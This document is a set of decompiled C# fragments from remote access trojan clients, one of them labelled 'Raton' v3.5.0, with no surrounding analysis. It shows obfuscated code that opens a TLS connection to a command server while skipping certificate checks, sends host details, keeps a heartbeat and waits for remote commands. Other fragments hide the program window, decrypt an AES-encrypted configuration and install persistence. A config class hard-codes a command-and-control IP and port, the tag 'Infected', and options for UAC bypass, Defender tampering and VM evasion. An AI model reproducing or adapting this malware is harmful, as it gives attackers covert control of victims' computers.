public static void mckAnMrPneuzxANr()
		{
			try
			{
				liiyJozWhQGcm.qTXVqOEKvPlptUhe = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
				{
					ReceiveBufferSize = 51200,
					SendBufferSize = 51200
				};//tcp建立
				if (rShUJoWxIfULR.mJRpWzfYptlR == "null")
				{
					string text = rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.IwnXSYzJgOVYTMj.Split(new char[] { ',' }).Length)];
					int num = Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' })[new Random().Next(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug.Split(new char[] { ',' }).Length)]);//ip地址，端口拆分
					if (liiyJozWhQGcm.lGcTzSsFKfoycD(text))
					{
						foreach (IPAddress ipaddress in Dns.GetHostAddresses(text))
						{
							try
							{
								liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(ipaddress, num);
								if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
								{
									break;
								}
							}
							catch
							{
							}
						}
					}
					else
					{
						liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(text, num);
					}
				}//尝试用ip直连
				else
				{
					using (WebClient webClient = new WebClient())
					{
						NetworkCredential networkCredential = new NetworkCredential("", "");
						webClient.Credentials = networkCredential;
						string[] array = webClient.DownloadString(rShUJoWxIfULR.mJRpWzfYptlR).Split(new string[] { ":" }, StringSplitOptions.None);
						rShUJoWxIfULR.IwnXSYzJgOVYTMj = array[0];
						rShUJoWxIfULR.eGvvAeHcGvsmgsOkug = array[new Random().Next(1, array.Length)];
						liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connect(rShUJoWxIfULR.IwnXSYzJgOVYTMj, Convert.ToInt32(rShUJoWxIfULR.eGvvAeHcGvsmgsOkug));
					}
				}//用名字链接来获取ip再联系服务器
				if (liiyJozWhQGcm.qTXVqOEKvPlptUhe.Connected)
				{
					liiyJozWhQGcm.sMTGUDsWLFW = true;
					liiyJozWhQGcm.AYswsEOoIgyT = new SslStream(new NetworkStream(liiyJozWhQGcm.qTXVqOEKvPlptUhe, true), false, new RemoteCertificateValidationCallback(liiyJozWhQGcm.JZXSVHgewuqAOe));	//跳过ssl检验
                    liiyJozWhQGcm.AYswsEOoIgyT.AuthenticateAsClient(liiyJozWhQGcm.qTXVqOEKvPlptUhe.RemoteEndPoint.ToString().Split(new char[] { ':' })[0], null, SslProtocols.Tls, false);//tls加密
					liiyJozWhQGcm.sEZsahAWzA = 4L;
					liiyJozWhQGcm.usTxSbjkwLraBeu = new byte[liiyJozWhQGcm.sEZsahAWzA];
					liiyJozWhQGcm.DMBgjrvDuLmnnF = 0L;
					liiyJozWhQGcm.ALsFOGfDQIYEq(xzQgkqwNpJ.LXExWtOiUUtLe());//发送本机消息
					liiyJozWhQGcm.ECWSXtkklGcnZ = 0;
					liiyJozWhQGcm.fNRolwEdaLMWcm = false;
					liiyJozWhQGcm.OcgqzeSEjnEmft = new Timer(new TimerCallback(liiyJozWhQGcm.NkXKBOZThWVSL), null, new Random().Next(10000, 15000), new Random().Next(10000, 15000));//心跳包
					liiyJozWhQGcm.jPdfsrWDTFIim = new Timer(new TimerCallback(liiyJozWhQGcm.sbzatzMGJdJdc), null, 1, 1);//持续接受命令
					liiyJozWhQGcm.AYswsEOoIgyT.BeginRead(liiyJozWhQGcm.usTxSbjkwLraBeu, (int)liiyJozWhQGcm.DMBgjrvDuLmnnF, (int)liiyJozWhQGcm.sEZsahAWzA, new AsyncCallback(liiyJozWhQGcm.GOShPGzCCNbAE), null);//接受命令
				}
				else
				{
					liiyJozWhQGcm.sMTGUDsWLFW = false;
				}
			}
			catch
			{
				liiyJozWhQGcm.sMTGUDsWLFW = false;
			}
		}

protected override void OnLoad(EventArgs e)
{
	base.Visible = false;
	base.ShowInTaskbar = false;
	this.method_1();
	base.OnLoad(e);
}

public void method_1()
	{
		if (!GClass65.smethod_0())
		{
			Environment.Exit(1);
		}
		this.gclass1_0 = new GClass1(GClass65.string_5);
		if (!this.gclass1_0.CreatedNew)
		{
			Environment.Exit(2);
		}
		Class19.smethod_4(Application.ExecutablePath);
		GClass5 gclass = new GClass5();
		if (this.IsInstallationRequired)
		{
			this.gclass1_0.Dispose();
			try
			{
				gclass.method_1();
				Environment.Exit(3);
				return;
			}
			catch (Exception)
			{
				return;
			}
		}
		try
		{
			gclass.method_0();
		}
		catch (Exception)
		{
		}
		if (!GClass65.bool_6)
		{
			this.method_0();
		}
		if (GClass65.bool_3)
		{
			this.gclass46_0 = new GClass46();
			this.gclass46_0.method_0();
		}
		Class27 @class = new Class27(new Class26().method_0(GClass65.string_1));
		this.gclass31_0 = new GClass31(@class, GClass65.x509Certificate2_0);
		this.gclass31_0.Event_1 += this.gclass31_0_ClientState;
		this.method_2(this.gclass31_0);
		this.gclass2_0 = new GClass2(this.gclass31_0);
		this.gclass2_0.method_1();
		new Thread(delegate
		{
			this.gclass31_0.method_15();
			Environment.Exit(0);
		}).Start();
	}

public static class GClass65
{
	// Token: 0x06000295 RID: 661 RVA: 0x00058284 File Offset: 0x00056484
	public static bool smethod_0()
	{
		if (string.IsNullOrEmpty(GClass65.string_0))
		{
			return false;
		}
		Class28 @class = new Class28(GClass65.string_7);
		GClass65.string_8 = @class.method_2(GClass65.string_8);
		GClass65.string_0 = @class.method_2(GClass65.string_0);
		GClass65.string_1 = @class.method_2(GClass65.string_1);
		GClass65.string_3 = @class.method_2(GClass65.string_3);
		GClass65.string_4 = @class.method_2(GClass65.string_4);
		GClass65.string_5 = @class.method_2(GClass65.string_5);
		GClass65.string_6 = @class.method_2(GClass65.string_6);
		GClass65.string_9 = @class.method_2(GClass65.string_9);
		GClass65.string_10 = @class.method_2(GClass65.string_10);
		GClass65.x509Certificate2_0 = new X509Certificate2(Convert.FromBase64String(@class.method_2(GClass65.string_11)));
		GClass65.smethod_1();
		return GClass65.smethod_2();

public string method_2(string input)
{
	return Encoding.UTF8.GetString(this.method_3(Convert.FromBase64String(input)));
}

public byte[] method_3(byte[] input)
{
	if (input == null)
	{
		throw new ArgumentNullException("input can not be null.");
	}
	byte[] array6;
	using (MemoryStream memoryStream = new MemoryStream(input))
	{
		using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider())
		{
			aesCryptoServiceProvider.KeySize = 256;
			aesCryptoServiceProvider.BlockSize = 128;
			aesCryptoServiceProvider.Mode = CipherMode.CBC;
			aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
			aesCryptoServiceProvider.Key = this.byte_0;
			using (HMACSHA256 hmacsha = new HMACSHA256(this.byte_1))
			{
				byte[] array = hmacsha.ComputeHash(memoryStream.ToArray(), 32, memoryStream.ToArray().Length - 32);
				byte[] array2 = new byte[32];
				memoryStream.Read(array2, 0, array2.Length);
				if (!Class29.smethod_0(array, array2))
				{
					throw new CryptographicException("Invalid message authentication code (MAC).");
				}
			}
			byte[] array3 = new byte[16];
			memoryStream.Read(array3, 0, 16);
			aesCryptoServiceProvider.IV = array3;
			using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aesCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Read))
			{
				byte[] array4 = new byte[memoryStream.Length - 16L + 1L];
				byte[] array5 = new byte[cryptoStream.Read(array4, 0, array4.Length)];
				Buffer.BlockCopy(array4, 0, array5, 0, array5.Length);
				array6 = array5;
			}
		}
	}
	return array6;
}

// Client.Raton.Supervisor
// Token: 0x06000076 RID: 118 RVA: 0x00008AC8 File Offset: 0x00006CC8
private void ResolveHostAndPort(out string host, out int port)
{
	host = Config.ht;
	port = Config.pt;
	if (string.IsNullOrWhiteSpace(host))
	{
		return;
	}
	string text = host.Trim();
	if (text.StartsWith("http://", StringComparison.OrdinalIgnoreCase))
	{
		text = text.Substring(7);
	}
	else if (text.StartsWith("https://", StringComparison.OrdinalIgnoreCase))
	{
		text = text.Substring(8);
	}
	int num = text.LastIndexOf(':');
	if (num > 0 && num < text.Length - 1)
	{
		string text2 = text.Substring(0, num);
		int num2;
		if (int.TryParse(text.Substring(num + 1), out num2))
		{
			host = text2;
			port = num2;
		}
	}
}

// Client.Raton.Supervisor
// Token: 0x06000074 RID: 116 RVA: 0x000089C4 File Offset: 0x00006BC4
private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs)
{
	byte[] array = new byte[12];
	BitConverter.GetBytes(1U).CopyTo(array, 0);
	BitConverter.GetBytes(timeMs).CopyTo(array, 4);
	BitConverter.GetBytes(intervalMs).CopyTo(array, 8);
	socket.IOControl((IOControlCode)((ulong)-1744830460), array, null);
}

using System;

// Token: 0x02000006 RID: 6
internal class Config
{
	// Token: 0x04000022 RID: 34
	public static string Version = "v3.5.0";

	// Token: 0x04000023 RID: 35
	public static string Mutex = "qkoxcbwHaoFUf4En5LVdu9W";

	// Token: 0x04000024 RID: 36
	public static int pt = Convert.ToInt32("4890");

	// Token: 0x04000025 RID: 37
	public static string ht = "170.205.31.216";

	// Token: 0x04000026 RID: 38
	public static bool Startup = Convert.ToBoolean("true");

	// Token: 0x04000027 RID: 39
	public static int Delay = Convert.ToInt32("0");

	// Token: 0x04000028 RID: 40
	public static bool ProcessCritical = Convert.ToBoolean("false");

	// Token: 0x04000029 RID: 41
	public static bool HideFile = Convert.ToBoolean("false");

	// Token: 0x0400002A RID: 42
	public static bool Box = Convert.ToBoolean("false");

	// Token: 0x0400002B RID: 43
	public static string BoxMsg = "Hello, i'm the description of your raton client message box";

	// Token: 0x0400002C RID: 44
	public static string BoxIcon = "No icon";

	// Token: 0x0400002D RID: 45
	public static bool UAC = Convert.ToBoolean("false");

	// Token: 0x0400002E RID: 46
	public static bool Assist = false;

	// Token: 0x0400002F RID: 47
	public static bool OpenWebsite = Convert.ToBoolean("false");

	// Token: 0x04000030 RID: 48
	public static string Website = "https://t.me/sillyisafed";

	// Token: 0x04000031 RID: 49
	public static bool VM = Convert.ToBoolean("false");

	// Token: 0x04000032 RID: 50
	public static string Tag = "Infected";

	// Token: 0x04000033 RID: 51
	public static string BoxTit = "Hello, im a title for your message box";

	// Token: 0x04000034 RID: 52
	public static bool HidProc = Convert.ToBoolean("false");

	// Token: 0x04000035 RID: 53
	public static bool UACBy = false;

	// Token: 0x04000036 RID: 54
	public static string Password = "";

	// Token: 0x04000037 RID: 55
	public static string Raw = "silly21";

	// Token: 0x04000038 RID: 56
	public static int Reconnect = Convert.ToInt32("3");

	// Token: 0x04000039 RID: 57
	public static bool Defender = Convert.ToBoolean("false");
}